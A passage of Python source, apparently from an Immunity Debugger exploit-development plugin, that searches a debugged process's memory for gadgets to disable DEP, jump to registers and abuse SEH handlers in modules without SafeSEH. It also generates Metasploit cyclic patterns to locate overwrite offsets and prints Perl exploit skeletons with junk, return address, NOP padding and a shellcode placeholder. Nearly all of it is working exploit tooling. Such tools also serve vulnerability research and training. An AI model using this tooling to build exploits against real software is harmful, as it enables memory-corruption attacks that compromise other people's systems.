tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound=nrfound+1
if startoff > 0:
for addcall in posop:
if addcall.find(targetreg) > -1:
addcall=addcall.replace(targetreg+" ","")
newsearch=addcall.replace("??",ofstring).replace("0x","\\x")
addys=imm.search( newsearch.decode('string_escape'))
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
if getmoduleprop(module,"fixup")=="0":
if (modulefilter=="") or (modulefilter != "" and module.upper().find(modulefilter.upper()) > -1):
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
hexaddr=tohex(ad1)
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
offsettable.add(0,["%s"%(tohex(ad1)),"%d"%(startoff),"%s"%(opstring),"%s"%(module),"%s"%(access)])
imm.updateLog()
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound=nrfound+1
for addcall in posvalop:
if addcall.find(targetreg) > -1:
addcall=addcall.replace(targetreg+" ","")
newsearch=addcall.replace("??",tohexbyte(255+startoff+1)).replace("0x","\\x")
addys=imm.search( newsearch.decode('string_escape'))
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
if getmoduleprop(module,"fixup")=="0":
if (modulefilter=="") or (modulefilter != "" and module.upper().find(modulefilter.upper()) > -1):
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
hexaddr=tohex(ad1)
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
offsettable.add(0,["%s"%(tohex(ad1)),"%d"%(startoff),"%s"%(opstring),"%s"%(module),"%s"%(access)])
imm.updateLog()
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound=nrfound+1
if startoff < 0:
for subcall in negop:
if subcall.find(targetreg) > -1:
subcall=subcall.replace(targetreg+" ","")
newsearch=subcall.replace("??",tohexbyte(startoff*(-1))).replace("0x","\\x")
addys=imm.search( newsearch.decode('string_escape'))
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
if getmoduleprop(module,"fixup")=="0":
if (modulefilter=="") or (modulefilter != "" and module.upper().find(modulefilter.upper()) > -1):
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
hexaddr=tohex(ad1)
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
offsettable.add(0,["%s"%(tohex(ad1)),"%d"%(startoff),"%s"%(opstring),"%s"%(module),"%s"%(access)])
imm.updateLog()
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound=nrfound+1
for subcall in negvalop:
if subcall.find(targetreg) > -1:
subcall=subcall.replace(targetreg+" ","")
newsearch=subcall.replace("??",tohexbyte(255+startoff+1).replace("0x","\\x"))
addys=imm.search( newsearch.decode('string_escape'))
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
if getmoduleprop(module,"fixup")=="0":
if (modulefilter=="") or (modulefilter != "" and module.upper().find(modulefilter.upper()) > -1):
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
hexaddr=tohex(ad1)
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
offsettable.add(0,["%s"%(tohex(ad1)),"%d"%(startoff),"%s"%(opstring),"%s"%(module),"%s"%(access)])
imm.updateLog()
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound=nrfound+1
startoff=startoff+1
imm.log("Output written to "+filename)
if nrfound>0:
imm.log("Found %d address(es)" % nrfound)
return "Found %d address(es) (Check the Log Window/Table for details)" % nrfound
else:
imm.log("No addresses found")
return "Sorry, no addresses found"
imm.log("--------------------------------------------------------------")
else:
usage(imm)
return "Error: Please provide register, offset (start and end int) and optional module name"
if args[0] == "depxp" or args[0]=="depxpsp3":
imm.log("--------------------------------------------------------------------------------")
imm.log("Search for addresses used to disable DEP (-> XP SP3) via NtSetInformationProcess")
imm.log("--------------------------------------------------------------------------------")
opcodej=["\xb0\x01\xc3", #mov al,0x1 / ret
"\xb0\x01\xc2\x04", #mov al,0x1 / ret 04
"\xb0\x01\xc2\x08", #mov al,0x1 / ret 08
"\x31\xc0\x40\xc3", #xor eax,eax/inc eax/ret
"\x31\xc0\x40\xc2\x04", #xor eax,eax/inc eax/ret 04
"\x31\xc0\x40\xc2\x08", #xor eax,eax/inc eax/ret 08
"\x31\xc0\x40\xc2\x1c"] #xor eax,eax/inc eax/ret 1c
imm.log("Phase 1 : set eax to 1 and return")
imm.log("--------------------------------")
filename="depxp.txt"
resetfile(filename)
writemodinfo(filename)
for opjc in opcodej:
addys=imm.search( opjc )
results += addys
for ad1 in addys:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
imm.log("Found %s at 0x%08x (%s) - Access: (%s)" % (opstring, ad1, module,access), address = ad1)
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound+=1
if results:
imm.log("Found %d address(es)" % nrfound)
else:
imm.log("No addresses found")
nrfound=0
mod = imm.getModule("ntdll.dll")
imm.log("Phase 2 : compare AL with 1, push 0x2 and pop esi")
imm.log("-------------------------------------------------")
searchfor="\x3c\x01\x6a\x02\x5e";
ret = imm.search( searchfor )
for res in ret:
module = getmodnamefromptr(res)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
page = imm.getMemoryPagebyAddress( res )
access = page.getAccess( human = True )
op = imm.Disasm( res )
opstring=op.getDisasm()
imm.log("Found %s at 0x%08x (%s) - Access: (%s)" % (opstring, res, module,access), address = res)
tofile("Found "+opstring+" at 0x" + tohex(res)+" ["+module+"]",filename,ad1)
nrfound+=1
if results:
imm.log("Found %d address(es)" % nrfound)
else:
imm.log("No addresses found")
nrfound=0
imm.log("Finding addresses for EBP stack adjustment")
imm.log("------------------------------------------")
searchebp=["\x8b\xec\xc3", #mov ebp,esp / ret
"\x8b\xec\xc2\x04\x00", #mov ebp,esp / ret 4
"\x54\x5d\xc3", #push ebp / pop ebp / ret
"\x54\x5d\xc2\x04\x00"] #push ebp / pop ebp / ret 4
for sebp in searchebp:
thisadr=imm.search(sebp)
results += thisadr
for ad1 in thisadr:
module = getmodnamefromptr(ad1)
if not module:
module = "none"
else:
if module=="":
module = "none"
else:
module = module.lower()
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
imm.log("Found %s at 0x%08x (%s) - Access: (%s)" % (opstring, ad1, module,access), address = ad1)
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound=nrfound+1
imm.log("Output written to "+filename)
if results:
imm.log("Found %d address(es)" % nrfound)
else:
imm.log("No addresses found")
return "Done - check %s" % filename
if args[0] == "depwin2k3":
filename="depwin2k3"
resetfile(filename)
writemodinfo(filename)
imm.log("-----------------------------------------------------------------------------------------------")
imm.log("Search for addresses used to disable DEP (Windows 2003 SP2 and SP3) via NtSetInformationProcess")
imm.log("-----------------------------------------------------------------------------------------------")
opcodej=["\xb0\x01\xc3", #mov al,0x1 / ret
"\xb0\x01\xc2\x04", #mov al,0x1 / ret 04
"\xb0\x01\xc2\x08", #mov al,0x1 / ret 08
"\x31\xc0\x40\xc3", #xor eax,eax/inc eax/ret
"\x31\xc0\x40\xc2\x04", #xor eax,eax/inc eax/ret 04
"\x31\xc0\x40\xc2\x08", #xor eax,eax/inc eax/ret 08
"\x31\xc0\x40\xc2\x1c"] #xor eax,eax/inc eax/ret 1c
imm.log("Phase 1 : set eax to 1 and return")
imm.log("--------------------------------")
for opjc in opcodej:
addys=imm.search( opjc )
results += addys
for ad1 in addys:
module = imm.findModule(ad1)
if not module:
module = "none"
else:
module = module[0].lower()
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
imm.log("Found %s at 0x%08x (%s) - Access: (%s)" % (opstring, ad1, module,access), address = ad1)
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound+=1
if results:
imm.log("Found %d address(es)" % nrfound)
else:
imm.log("No addresses found")
nrfound=0
mod = imm.getModule("ntdll.dll")
imm.log("Phase 2 : Initiate NX Disable process")
imm.log("-------------------------------------------------")
searchfor="\x83\x7d\xfc\x00";
ret = imm.search( searchfor )
for res in ret:
module = imm.findModule(res)
if not module:
module="none"
else:
module=module[0].lower()
page = imm.getMemoryPagebyAddress( res )
access = page.getAccess( human = True )
op = imm.Disasm( res )
opstring=op.getDisasm()
imm.log("Found %s at 0x%08x (%s) - Access: (%s)" % (opstring, res, module,access), address = res)
tofile("Found "+opstring+" at 0x" + tohex(res)+" ["+module+"]",filename,ad1)
nrfound+=1
if results:
imm.log("Found %d address(es)" % nrfound)
else:
imm.log("No addresses found")
nrfound=0
imm.log("Finding addresses for EBP stack adjustment")
imm.log("------------------------------------------")
searchebp=["\x8b\xec\xc3", #mov ebp,esp / ret
"\x8b\xec\xc2\x04\x00", #mov ebp,esp / ret 4
"\x54\x5d\xc3", #push esp / pop ebp / ret
"\x54\x5d\xc2\x04\x00"] #push esp / pop ebp / ret 4
for sebp in searchebp:
thisadr=imm.search(sebp)
results += thisadr
for ad1 in thisadr:
module = imm.findModule(ad1)
if not module:
module = "none"
else:
module = module[0].lower()
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
imm.log("Found %s at 0x%08x (%s) - Access: (%s)" % (opstring, ad1, module,access), address = ad1)
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound+=1
if results:
imm.log("Found %d address(es)" % nrfound)
else:
imm.log("No addresses found")
nrfound=0
imm.log("Finding addresses for ESI stack adjustment")
imm.log("------------------------------------------")
searchebp=["\x8b\xf4\xc3", #mov esi,esp / ret
"\x8b\xf4\xc2\x04\x00", #mov esi,esp / ret 4
"\x54\x5e\xc3", #push esp / pop esi / ret
"\x54\x5e\xc2\x04\x00", #push esp / pop esi / ret 4
"\x55\x5e\xc3", #push ebp / pop esi / ret # only use this one if you have pushed ESP to EBP first
"\x55\x5e\xc2\x04\x00"] #push ebp / pop esi / ret 4 # only use this one if you have pushed ESP to EBP first
for sebp in searchebp:
thisadr=imm.search(sebp)
results += thisadr
for ad1 in thisadr:
module = imm.findModule(ad1)
if not module:
module = "none"
else:
module = module[0].lower()
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
imm.log("Found %s at 0x%08x (%s) - Access: (%s)" % (opstring, ad1, module,access), address = ad1)
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module+"]",filename,ad1)
nrfound+=1
if results:
imm.log("Found %d address(es)" % nrfound)
else:
imm.log("No addresses found")
imm.log("Output written to "+filename)
return "Done - check %s" % filename
if args[0] == "jseh":
filename="jseh.txt"
resetfile(filename)
writemodinfo(filename)
showred=0
showall=0
if len(args) > 1:
if args[1].lower()== "all":
showall=1
imm.log("-----------------------------------------------------------------------")
imm.log("Search for jmp/call dword[ebp/esp+nn] (and other) combinations started ")
imm.log("-----------------------------------------------------------------------")
opcodej=["\xff\x54\x24\x08", #call dword ptr [esp+08]
"\xff\x64\x24\x08", #jmp dword ptr [esp+08]
"\xff\x54\x24\x14", #call dword ptr [esp+14]
"\xff\x54\x24\x14", #jmp dword ptr [esp+14]
"\xff\x54\x24\x1c", #call dword ptr [esp+1c]
"\xff\x54\x24\x1c", #jmp dword ptr [esp+1c]
"\xff\x54\x24\x2c", #call dword ptr [esp+2c]
"\xff\x54\x24\x2c", #jmp dword ptr [esp+2c]
"\xff\x54\x24\x44", #call dword ptr [esp+44]
"\xff\x54\x24\x44", #jmp dword ptr [esp+44]
"\xff\x54\x24\x50", #call dword ptr [esp+50]
"\xff\x54\x24\x50", #jmp dword ptr [esp+50]
"\xff\x55\x0c", #call dword ptr [ebp+0c]
"\xff\x65\x0c", #jmp dword ptr [ebp+0c]
"\xff\x55\x24", #call dword ptr [ebp+24]
"\xff\x65\x24", #jmp dword ptr [ebp+24]
"\xff\x55\x30", #call dword ptr [ebp+30]
"\xff\x65\x30", #jmp dword ptr [ebp+30]
"\xff\x55\xfc", #call dword ptr [ebp-04]
"\xff\x65\xfc", #jmp dword ptr [ebp-04]
"\xff\x55\xf4", #call dword ptr [ebp-0c]
"\xff\x65\xf4", #jmp dword ptr [ebp-0c]
"\xff\x55\xe8", #call dword ptr [ebp-18]
"\xff\x65\xe8", #jmp dword ptr [ebp-18]
"\x83\xc4\x08\xc3", #add esp,8 + ret
"\x83\xc4\x08\xc2"] #add esp,8 + ret X
for opjc in opcodej:
addys=imm.search( opjc )
results += addys
for ad1 in addys:
module = imm.findModule(ad1)
if not module:
module=""
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
imm.log("Found %s at 0x%08x - Access: (%s)" % (opstring, ad1, access), address = ad1,highlight=1)
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" [none]",filename,ad1)
nrfound+=1
else:
if showall==1:
page = imm.getMemoryPagebyAddress( ad1 )
access = page.getAccess( human = True )
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
if ismodulenosafeseh(module[0])==1:
extratext="=== Safeseh : NO ==="
showred=1
else:
extratext="Safeseh protected"
showred=0
imm.log("Found %s at 0x%08x (%s) - Access: (%s) - %s" % (opstring, ad1, module,access,extratext), address = ad1,highlight=showred)
tofile("Found "+opstring+" at 0x" + tohex(ad1)+" ["+module[0]+"] - " + extratext,filename,ad1)
nrfound+=1
imm.log("Search complete")
imm.log("Output written to "+filename)
if results:
imm.log("Found %d address(es)" % nrfound)
return "Found %d address(es) (Check the Log Windows for details)" % nrfound
else:
imm.log("No addresses found")
return "Sorry, no addresses found"
imm.log("--------------------------------------------------------------")
return "Done - check %s" % filename
if args[0] == "fa":
filename="fa.txt"
resetfile(filename)
writemodinfo(filename)
nrfound=0
nrfoundptr=0
opcodej=["\x41\x41\x41\x41"]
if len(args) == 3:
stra=binascii.a2b_hex(args[1]+args[2])
opcodej=[stra]
imm.log("Custom provided search pattern found (2 bytes)")
if len(args) == 5:
strb=binascii.a2b_hex(args[1]+args[2]+args[3]+args[4])
opcodej=[strb]
imm.log("Custom provided search pattern found (4 bytes)")
imm.log("---------------------------------------------------------------------------")
imm.log("Search for locations that contain the search pattern %s" % opcodej[0])
imm.log("---------------------------------------------------------------------------")
for opjc in opcodej:
imm.log("Searching for %s " % opjc)
addys=imm.search( opjc )
results += addys
for all in results:
nrfound += 1
if results:
imm.log("Found %d location(s) that point to the search string" % (nrfound))
imm.log("Now searching for pointers to those location(s)...")
for pntr in results:
#first reverse the address so we can use it in a search operation
taddr=tohex(pntr)
sstr=taddr[6]+taddr[7]+" "+taddr[4]+taddr[5]+" "+taddr[2]+taddr[3]+" "+taddr[0]+taddr[1]
imm.log(" -> searching for %s" % (sstr), address=pntr)
addys=imm.search( sstr )
for adptr in addys:
imm.log(" ** Found pointer at 0x%08x ** " % (adptr), address = adptr)
tofile("Found pointer to "+tohex(pntr)+" at " + tohex(adptr),filename,adptr)
nrfoundptr += 1
sstr=taddr[4]+taddr[5]+" "+taddr[2]+taddr[3]+" "+taddr[0]+taddr[1]
imm.log(" -> searching for %s (possible close pointer)" % sstr)
addus=imm.search( sstr )
for adptr in addys:
imm.log(" ** Possible close pointer found at 0x%08x ** " % (adptr), address = adptr)
tofile("Found possible close pointer to "+tohex(pntr)+" at "+tohex(adptr),filename,adptr)
nrfoundptr += 1
if nrfoundptr > 0:
imm.log("Pointers to pointers found : %d !" % nrfoundptr)
else:
imm.log("Sorry, no pointers to pointers found !")
else:
imm.log("No addresses found")
return "Sorry, no addresses found"
imm.log("--------------------------------------------------------------")
return "Done - check %s" % filename
if args[0] == "pattern_create":
imm.log("-------------------------------------------------------------------------")
imm.log("Creating (Metasploit) pattern...");
imm.log("-------------------------------------------------------------------------")
if len(args) != 2:
imm.log("Syntax : !pvefindaddr pattern_create size")
return "Invalid syntax"
else:
mypat=pattern_create(args[1])
imm.log("Pattern of %s bytes :" % args[1])
imm.log(mypat)
filename="mspattern.txt"
resetfile(filename)
FILE=open(filename,"a")
FILE.write("Cyclic pattern of " + args[1]+" characters :\n")
FILE.write(mypat)
FILE.close()
return "Done - check %s" % filename
if args[0] == "pattern_offset":
imm.log("-------------------------------------------------------------------------")
imm.log("Calculating offset in (Metasploit) pattern...");
imm.log("-------------------------------------------------------------------------")
if (len(args) != 2 and len(args) != 3):
imm.log("Syntax : !pvefindaddr pattern_offset Pattern [Size]")
else:
if len(args)==2:
pattern_offset(args[1],8000,imm)
if len(args)==3:
pattern_offset(args[1],args[2],imm)
if args[0] == "findmsp" or args[0] == "suggest":
imm.log("-------------------------------------------------------------------------")
imm.log("Searching for metasploit pattern references")
imm.log("-------------------------------------------------------------------------")
mspattern=pattern_create(20280)
regs = imm.getRegs()
if len(args) == 1:
fchars=pattern_create(8)
imm.log("[1] Searching for first 8 characters of Metasploit pattern : %s" % fchars)
imm.log("=====================================================================")
imm.updateLog()
firstchars=""
for mspchar in fchars:
firstchars += hex(ord(mspchar)).replace("0x"," ")
toSearch = firstchars.replace(" ",'\\x').decode('string_escape')
toSearch = toSearch.decode('string_escape')
sresults=imm.search( toSearch )
if (len(sresults) == 0):
imm.log(" ** Could not find begin of Metasploit pattern (ascii) in memory ! **")
else:
for sr in sresults:
imm.log(" - Found begin of Metasploit pattern at 0x%08x" % sr,address=sr)
imm.log("")
#perhaps it's unicode
firstchars=""
for mspchar in fchars:
firstchars += hex(ord(mspchar)).replace("0x"," ")+"\x00"
toSearch = firstchars.replace(" ",'\\x').decode('string_escape')
toSearch = toSearch.decode('string_escape')
sresults=imm.search( toSearch )
if (len(sresults) == 0):
imm.log(" ** Could not find begin of Metasploit pattern (unicode expanded) in memory ! **")
else:
for sr in sresults:
imm.log(" - Found begin of Unicode expanded Metasploit pattern at 0x%08x" % sr,address=sr)
imm.log("")
imm.updateLog()
imm.log("[2] Checking register addresses and contents")
imm.log("============================================")
for reg in regs:
imm.updateLog()
foundreg=0
regvalue = tohex(regs[reg])
hex1=regvalue[6]+regvalue[7]
hex2=regvalue[4]+regvalue[5]
hex3=regvalue[2]+regvalue[3]
hex4=regvalue[0]+regvalue[1]
asciivalue=toascii(imm,hex1)+toascii(imm,hex2)+toascii(imm,hex3)+toascii(imm,hex4)
#see if string can be found in Metasploit pattern
if asciivalue in mspattern:
PatternPos = mspattern.find(asciivalue)
imm.log(" - Register %s is overwritten with Metasploit pattern at position %d" % (reg,PatternPos))
foundreg=1
if reg == 'EIP':
g_typeofsploit=1
g_offset=PatternPos
if asciivalue in mspattern.lower():
PatternPos = mspattern.lower().find(asciivalue)
imm.log(" - Register %s is overwritten with lowercase Metasploit pattern at position %d" % (reg,PatternPos))
foundreg=1
if reg == 'EIP':
g_typeofsploit=1
g_offset=PatternPos
if asciivalue in mspattern.upper():
PatternPos = mspattern.upper().find(asciivalue)
imm.log(" - Register %s is overwritten with uppercase Metasploit pattern at position %d" % (reg,PatternPos))
foundreg=1
if reg == 'EIP':
g_typeofsploit=1
g_offset=PatternPos
#perhaps it's a unicode pattern.
if hex4=="00" and hex2=="00":
if reg == 'EIP':
#get contents at ESP
espaddress=regs["ESP"]
regesp=imm.readMemory(espaddress,4)
ascuni=regesp[0] + regesp[2] + toascii(imm,hex1) + toascii(imm,hex3)
imm.log(" - EIP overwritten with unicode pattern '%s%s%s%s'. Together with contents of ESP (0x%s) this makes %s" % (hex4,hex3,hex2,hex1,tohex(espaddress),ascuni))
if ascuni in mspattern:
PatternPos = mspattern.find(ascuni)
imm.log(" It looks like EIP was overwritten with Metasploit pattern at position %d" % PatternPos)
g_typeofsploit=1
g_offset=PatternPos
else:
if hex1<>"00" and hex3<>"00":
imm.log(" - %s overwritten with unicode pattern '%s%s%s%s'." % (reg,hex4,hex3,hex2,hex1))
#perhaps we forgot to use Metasploit pattern - look for 41414141/42424242
if (asciivalue=="AAAA" or asciivalue=="BBBB"):
imm.log(" - Register %s is overwritten with %s - Try using a Metasploit pattern next time" % (reg,asciivalue))
if reg == 'EIP':
guessstart(asciivalue,1)
if (asciivalue=="aaaa" or asciivalue=="bbbb"):
imm.log(" - Register %s is overwritten with %s (lowercase)- Try using a Metasploit pattern next time" % (reg,asciivalue))
if reg == 'EIP':
guessstart(asciivalue,1)
if (hex1=="00" and hex2=="41" and hex3=="00" and hex4=="41"):
imm.log(" - Register %s is overwritten with 00410041 (Unicode ?) - Try using a Metasploit pattern next time" % (reg))
#now look at contents of register
regcnt=0
offfound=0
imm.updateLog()
while (regcnt < 127 and offfound==0):
try:
thisregaddr=regs[reg]+regcnt
if regcnt > 0:
regofftxt="+" + hex(regcnt)
else:
regofftxt=""
cont = imm.readMemory(thisregaddr, 4 )
if cont == "":
cont="REALLYBADCOFFEE"
if cont in mspattern:
PatternPos = mspattern.find(cont)
if PatternPos >= 0:
imm.log(" - Register %s points to Metasploit pattern at position %d" % (reg+regofftxt,PatternPos))
offfound=1
if (PatternPos < g_regpos) or (g_regpos == 0):
g_jumpreg=reg
g_regoff=regofftxt
g_regpos=PatternPos
if cont in mspattern.lower():
PatternPos = mspattern.lower().find(cont)
if PatternPos >= 0:
imm.log(" - Register %s points to lowercase Metasploit pattern at position %d" % (reg+regofftxt,PatternPos))
offfound=1
if (PatternPos < g_regpos) or (g_regpos == 0):
g_jumpreg=reg
g_regoff=regofftxt
g_regpos=PatternPos
if cont in mspattern.upper():
PatternPos = mspattern.upper().find(cont)
if PatternPos >= 0:
imm.log(" - Register %s points to uppercase Metasploit pattern at position %d" % (reg+regofftxt,PatternPos))
offfound=1
if (PatternPos < g_regpos) or (g_regpos == 0):
g_jumpreg=reg
g_regoff=regofftxt
g_regpos=PatternPos
if (cont=="AAAA" or cont=="BBBB"):
imm.log(" - Register %s points to %s - Try using a Metasploit pattern next time" % (reg+regofftxt,cont))
offfound=1
if (cont=="aaaa" or cont=="bbbb"):
imm.log(" - Register %s points to %s (converted to lowercase ?)- Try using a Metasploit pattern next time" % (reg+regofftxt,cont))
offfound=1
uregvalue=imm.readMemory(thisregaddr,8)
ascuni=uregvalue[0] + uregvalue[2] + uregvalue[4] + uregvalue[6]
if ascuni in mspattern:
offfound=1
PatternPos = mspattern.find(ascuni)
imm.log(" - Register %s points to position %d in Metasploit pattern (unicode expanded)" % (reg,PatternPos))
except:
pass
regcnt=regcnt+1
imm.updateLog()
#finally look at sehchain
imm.log("")
imm.log("[3] Checking seh chain")
imm.log("======================")
imm.updateLog()
thissehchain=imm.getSehChain()
nrofentries=0
for chainentry in thissehchain:
#try:
imm.updateLog()
sehvalue=tohex(chainentry[1])
hex1=sehvalue[6]+sehvalue[7]
hex2=sehvalue[4]+sehvalue[5]
hex3=sehvalue[2]+sehvalue[3]
hex4=sehvalue[0]+sehvalue[1]
asciivalue=toascii(imm,hex1)+toascii(imm,hex2)+toascii(imm,hex3)+toascii(imm,hex4)
imm.log(" - Checking seh chain entry at 0x%08x, value %08x" % (chainentry[0],chainentry[1]))
#see if string can be found in Metasploit pattern
if asciivalue in mspattern:
PatternPos = mspattern.find(asciivalue)
imm.log(" => record is overwritten with Metasploit pattern after %d bytes" % (PatternPos))
g_typeofsploit=2
g_offset=PatternPos
if asciivalue in mspattern.lower():
PatternPos = mspattern.lower().find(asciivalue)
imm.log(" => record is overwritten with lowercase Metasploit pattern after %d bytes" % (PatternPos))
g_typeofsploit=2
g_offset=PatternPos
if asciivalue in mspattern.upper():
PatternPos = mspattern.upper().find(asciivalue)
imm.log(" => record is overwritten with uppercase Metasploit pattern after %d bytes" % (PatternPos))
g_typeofsploit=2
g_offset=PatternPos
if (asciivalue=="AAAA" or asciivalue=="BBBB"):
imm.log(" => record is overwritten with %s" % (asciivalue))
guessstart(asciivalue,2)
if (asciivalue=="aaaa" or asciivalue=="bbbb"):
imm.log(" => record is overwritten with %s (lowercase)" % (asciivalue))
guessstart(asciivalue,2)
nrofentries=nrofentries+1
#see if sehchain is overwritten with unicode pattern. We need at least 2 entries for the easy way
if nrofentries > 1:
pos=0
previousentry="01010101"
for chainentry in thissehchain:
if (pos > 0):
thisaddr=tohex(chainentry[0])
if (thisaddr[0]=="0" and thisaddr[1]=="0" and thisaddr[4]=="0" and thisaddr[5]=="0" and previousentry[0]=="0" and previousentry[1]=="0" and previousentry[4]=="0" and previousentry[5]=="0"):
#unicode address
#try to reassemble entire string
patstring=thisaddr[6]+thisaddr[7]+ thisaddr[2]+thisaddr[3]+ previousentry[6]+previousentry[7]+previousentry[2]+previousentry[3]
try:
ascipat=toascii(imm,thisaddr[6]+thisaddr[7])+toascii(imm,thisaddr[2]+thisaddr[3])+toascii(imm,previousentry[6]+previousentry[7])+toascii(imm,previousentry[2]+previousentry[3])
imm.log(" *** Unicode pattern found : %s => %s *** " % (patstring,ascipat))
except:
pass
if ascipat in mspattern:
PatternPos = mspattern.find(ascipat)
imm.log(" => record is overwritten with Unicode Metasploit pattern at position %d" % (PatternPos))
g_typeofsploit=3
g_offset=PatternPos
if ascipat in mspattern.lower():
PatternPos = mspattern.lower().find(ascipat)
imm.log(" => record is overwritten with Unicode lowercase Metasploit pattern at position %d" % (PatternPos))
g_typeofsploit=3
g_offset=PatternPos
if ascipat in mspattern.upper():
PatternPos = mspattern.upper().find(ascipat)
imm.log(" => record is overwritten with Unicode uppercase Metasploit pattern at position %d" % (PatternPos))
g_typeofsploit=3
g_offset=PatternPos
previousentry=tohex(chainentry[1])
pos=pos+1
if nrofentries == 1:
#only one entry, so read one from chainentry, other from stack
thisaddr=tohex(chainentry[1])
if (thisaddr[0]=="0" and thisaddr[1]=="0" and thisaddr[4]=="0" and thisaddr[5]=="0"):
#SE Handler is unicode. Read previous 4 bytes too
nsehaddress=chainentry[0]
nsehvalue=imm.readMemory(nsehaddress,4)
b1=toascii(imm,thisaddr[6]+thisaddr[7])
b2=toascii(imm,thisaddr[2]+thisaddr[3])
ascuni=nsehvalue[0] + nsehvalue[2] + b1 + b2
if ascuni in mspattern:
PatternPos = mspattern.find(ascuni)
g_typeofsploit=3
g_offset=PatternPos
imm.log(" - SEH Chain overwritten with unicode pattern %s :" % ascuni)
imm.log(" NSEH overwritten after %d bytes" % (PatternPos))
imm.log(" SE Handler overwritten 2 bytes after (offset %d - expanded to unicode, this becomes 4 bytes) " % (PatternPos+2))
imm.log(" Evaluated %d SEH entries" % nrofentries)
else:
if len(args) == 2:
#do pattern_offset search
pattern_offset(args[1],8000,imm)
imm.log("-------------------------------------------------------------------------")
if args[0] == "findmsp":
return "Done"
if args[0] == "suggest":
imm.log("Exploit payload information and suggestions :")
imm.log("---------------------------------------------")
if g_typeofsploit==0:
imm.log(" [+] Sorry, you'll have to analyse this vulnerability manually")
if g_typeofsploit==1:
imm.log(" [+] Type of exploit : Direct RET overwrite (EIP is overwritten)")
imm.log(" Offset to direct RET : %d " % g_offset)
imm.log(" [+] Payload found at %s " % g_jumpreg)
imm.log(" Offset to register : %d " % g_regpos)
imm.log(" [+] Payload suggestion (perl) :")
if g_regpos > g_offset:
imm.log(' my $junk="\\x41" x %d; ' % g_offset)
if g_regoff=="":
imm.log(' my $ret = XXXXXXXX; #jump to %s - run !pvefindaddr j -r %s -n to find an address' % (g_jumpreg,g_jumpreg))
else:
imm.log(' my $ret = XXXXXXXX; #jump to %s+%s - run !pvefindaddr jo -r %s -n to find an address' % (g_jumpreg,g_regoff,g_jumpreg))
posdiff=int(g_regpos)-int(g_offset)-4
if posdiff > 0:
imm.log(' my $padding = "\\x90" x %d; ' % posdiff)
imm.log(' my $shellcode="<your shellcode here>";')
imm.log(' my $payload=$junk.$ret.$padding.$shellcode;')
else:
imm.log(' my $shellcode="<your shellcode here>";')
imm.log(' my $payload=$junk.$ret.$shellcode;')
else:
imm.log(' my $junk="\\x41" x %d; ' % g_regpos)
maxbytes=int(g_offset)-int(g_regpos)-4
imm.log(' my $shellcode="<your shellcode here, max %d bytes>";' % maxbytes)
imm.log(' my $morejunk="\\x90" x (%d-length($shellcode));' % maxbytes)
imm.log(' my $ret = XXXXXXXX; #jump to %s - run !pvefindaddr j -r %s -n to find an address' % (g_jumpreg,g_jumpreg))
imm.log(' my $payload = $junk.$shellcode.$morejunk.$ret;')
imm.log(' [+] Read more about this type of exploit at')
imm.log(' http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/')
if g_typeofsploit==2:
